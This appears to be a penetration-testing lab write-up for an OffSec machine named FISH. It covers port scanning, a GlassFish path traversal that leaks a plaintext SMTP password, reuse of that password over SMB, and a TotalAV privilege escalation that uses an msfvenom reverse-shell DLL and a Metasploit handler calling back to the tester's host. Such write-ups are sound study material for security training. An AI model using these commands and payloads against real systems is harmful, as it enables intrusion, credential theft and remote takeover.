OffSec · Lab
FISH
IP: 192.168.131.168
FQDN: FISHYYY.Fishyyy.local
Windows 10 / Server 2019 Build 19041 x64
set ip 192.168.131.168
set url http://192.168.131.168:8080
nmap basic
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
3700/tcp open lrs-paging
4848/tcp open appserv-http
5040/tcp open unknown
6060/tcp open x11
7676/tcp open imqbrokerd
7680/tcp open pando-pub
8080/tcp open http-proxy
8181/tcp open intermapper
8686/tcp open sun-as-jmxrmi
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
nmap services
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Fishyyy
| Not valid before: 2021-10-28T11:48:50
|_Not valid after: 2022-04-29T11:48:50
|_ssl-date: 2021-10-29T11:56:51+00:00; -4y313d20h18m07s from scanner time.
| rdp-ntlm-info:
| Target_Name: FISHYYY
| NetBIOS_Domain_Name: FISHYYY
| NetBIOS_Computer_Name: FISHYYY
| DNS_Domain_Name: Fishyyy
| DNS_Computer_Name: Fishyyy
| Product_Version: 10.0.19041
|_ System_Time: 2021-10-29T11:56:36+00:00
3700/tcp open giop
| fingerprint-strings:
| GetRequest, X11Probe:
| GIOP
| giop:
| GIOP
| (IDL:omg.org/SendingContext/CodeBase:1.0
| 169.254.240.58
| 169.254.240.58
|_ default
4848/tcp open http Sun GlassFish Open Source Edition 4.1
|_http-server-header: GlassFish Server Open Source Edition 4.1
|_http-title: Login
5040/tcp open unknown
6060/tcp open x11?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Accept-Ranges: bytes
| ETag: W/"425-1267803922000"
| Last-Modified: Fri, 05 Mar 2010 15:45:22 GMT
| Content-Type: text/html
| Content-Length: 425
| Date: Fri, 29 Oct 2021 11:54:09 GMT
| Connection: close
| Server: Synametrics Web Server v7
| <html>
| <head>
| <META HTTP-EQUIV="REFRESH" CONTENT="1;URL=app">
| </head>
| <body>
| <script type="text/javascript">
| <!--
| currentLocation = window.location.pathname;
| if(currentLocation.charAt(currentLocation.length - 1) == "/"){
| window.location = window.location + "app";
| }else{
| window.location = window.location + "/app";
| //-->
| </script>
| Loading Administration console. Please wait...
| </body>
| </html>
| HTTPOptions:
| HTTP/1.1 403
| Cache-Control: private
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Set-Cookie: JSESSIONID=F4D252ADE9DDCA2C4DAC70358D0337E9; Path=/
| Content-Type: text/html;charset=ISO-8859-1
| Content-Length: 5028
| Date: Fri, 29 Oct 2021 11:54:10 GMT
| Connection: close
| Server: Synametrics Web Server v7
| <!DOCTYPE html>
| <html>
| <head>
| <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
| <title>
| SynaMan - Synametrics File Manager - Version: 5.1 - build 1595
| </title>
| <meta NAME="Description" CONTENT="SynaMan - Synametrics File Manager" />
| <meta NAME="Keywords" CONTENT="SynaMan - Synametrics File Manager" />
| <meta http-equiv="X-UA-Compatible" content="IE=10" />
| <link rel="icon" type="image/png" href="images/favicon.png">
| <link type="text/css" rel="stylesheet" href="images/AjaxFileExplorer.css">
| <link rel="stylesheet" type="text/css"
| JavaRMI:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Length: 145
| Date: Fri, 29 Oct 2021 11:54:03 GMT
| Connection: close
| Server: Synametrics Web Server v7
|_ <html><head><title>Oops</title><body><h1>Oops</h1><p>Well, that didn't go as we had expected.</p><p>This error has been logged.</p></body></html>
7676/tcp open java-message-service Java Message Service 301
7680/tcp open pando-pub?
8080/tcp open http Sun GlassFish Open Source Edition 4.1
|_http-server-header: GlassFish Server Open Source Edition 4.1
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_ Potentially risky methods: PUT DELETE TRACE
|_http-title: Data Web
8181/tcp open ssl/http Sun GlassFish Open Source Edition 4.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Oracle Corporation/stateOrProvinceName=California/countryName=US
| Not valid before: 2014-08-21T13:30:10
|_Not valid after: 2024-08-18T13:30:10
8686/tcp open java-rmi Java RMI
| rmi-dumpregistry:
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
| @169.254.240.58:8686
| extends
| java.rmi.server.RemoteStub
| extends
|_ java.rmi.server.RemoteObject
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: -1774d20h18m07s, deviation: 0s, median: -1774d20h18m07s
| smb2-time:
| date: 2021-10-29T11:56:42
|_ start_date: N/A
RDP/3389
HTTP/4848
HTTP/6060
HTTP/7676
https://www.ibm.com/docs/en/qsip/7.4.0?topic=qradar-viewing-imq-port-associations
┌──(root㉿cophkali)-[~/oscp/labs/fish]
└─# telnet $IP 7676
Trying 192.168.131.168...
Connected to 192.168.131.168.
Escape character is '^]'.
101 imqbroker 301
portmapper tcp PORTMAPPER 7676 [sessionid=8601449553507928832]
cluster_discovery tcp CLUSTER_DISCOVERY 0
admin tcp ADMIN 49744
jms tcp NORMAL 49743
mqdirect2 none NORMAL 0
jmsdirect none NORMAL 0
cluster tcp CLUSTER 49745
.
Connection closed by foreign host.
HTTP/8080
HTTPS/8181
Glassfish traversal
auxiliary(scanner/http/glassfish_traversal)
msf auxiliary(scanner/http/glassfish_traversal) > run
[+] File saved in: /root/.msf4/loot/20260908122236_default_192.168.131.168_oracle.traversal_092134.txt
┌──(root㉿cophkali)-[~/.msf4/loot]
└─# cat 20260908122236_default_192.168.131.168_oracle.traversal_092134.txt
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<parameters>
<parameter name="adminEmail" type="1" value="admin@fish.pg"></parameter>
<parameter name="smtpSecurity" type="1" value="None"></parameter>
<parameter name="jvmPath" type="1" value="jre/bin/java"></parameter>
<parameter name="userHomeRoot" type="1" value="C:\ProgramData\SynaManHome"></parameter>
<parameter name="httpPortSSL" type="2" value="-1"></parameter>
<parameter name="httpPort" type="2" value="0"></parameter>
<parameter name="vmParams" type="1" value="-Xmx128m -DLoggingConfigFile=logconfig.xml"></parameter>
<parameter name="synametricsUrl" type="1" value="http://synametrics.com/SynametricsWebApp/"></parameter>
<parameter name="lastSelectedTab" type="1" value="1"></parameter>
<parameter name="emailServerWebServicePort" type="2" value=""></parameter>
<parameter name="imagePath" type="1" value="images/"></parameter>
<parameter name="defaultOperation" type="1" value="frontPage"></parameter>
<parameter name="publicIPForUrl" type="1" value=""></parameter>
<parameter name="flags" type="2" value="2"></parameter>
<parameter name="httpPort2" type="2" value="6060"></parameter>
<parameter name="useUPnP" type="4" value="true"></parameter>
<parameter name="smtpServer" type="1" value="mail.fish.pg"></parameter>
<parameter name="smtpUser" type="1" value="arthur"></parameter>
<parameter name="InitialSetupComplete" type="4" value="true"></parameter>
<parameter name="disableCsrfPrevention" type="4" value="true"></parameter>
<parameter name="failureOverHttpPort" type="2" value="55222"></parameter>
<parameter name="smtpPort" type="2" value="25"></parameter>
<parameter name="httpIP" type="1" value=""></parameter>
<parameter name="emailServerWebServiceHost" type="1" value=""></parameter>
<parameter name="smtpPassword" type="1" value="KingOfAtlantis"></parameter>
<parameter name="ntServiceCommand" type="1" value="net start SynaMan"></parameter>
<parameter name="mimicHtmlFiles" type="4" value="false"></parameter>
AD User valid
┌──(root㉿cophkali)-[~/oscp/labs/fish]
└─# nxc smb $IP -u arthur -p 'KingOfAtlantis'
SMB 192.168.131.168 445 FISHYYY [*] Windows 10 / Server 2019 Build 19041 x64 (name:FISHYYY) (domain:Fishyyy) (signing:False) (SMBv1:None)
SMB 192.168.131.168 445 FISHYYY [+] Fishyyy\arthur:KingOfAtlantis
reuse of arthur : KingOfAtlantis
??
version 4.14.31
┌──(root㉿cophkali)-[~/.msf4/loot]
└─# cat /usr/share/exploitdb/exploits/windows/local/47897.txt
# Exploit Title: TotalAV 2020 4.14.31 - Privilege Escalation
# Date: 2020-01-09
# Exploit Author: Kusol Watchara-Apanukorn
# Vendor Homepage: https://www.totalav.com/
# Version: 4.14.31
# Fixed on: 5.3.35
# Tested on: Windows 10 x64
# CVE : CVE-2019-18194
DLL-payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.231 LPORT=4444 --platform windows -a x86 -f dll -o version.dll
We’re gonna use CreateMountPoint.exe combined with malicious dll
Copy the version.dll to the new mount folder
Perform a custom scan on the new folder
create the symlink
.\CMD.exe "C:\mount\" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\"
Verified symlink
Restore the malicious .dll
Open multihandler reverse tcp and run
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.45.231
LHOST => 192.168.45.231
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.45.231:4444
Force reboot
Restart-Computer -Force
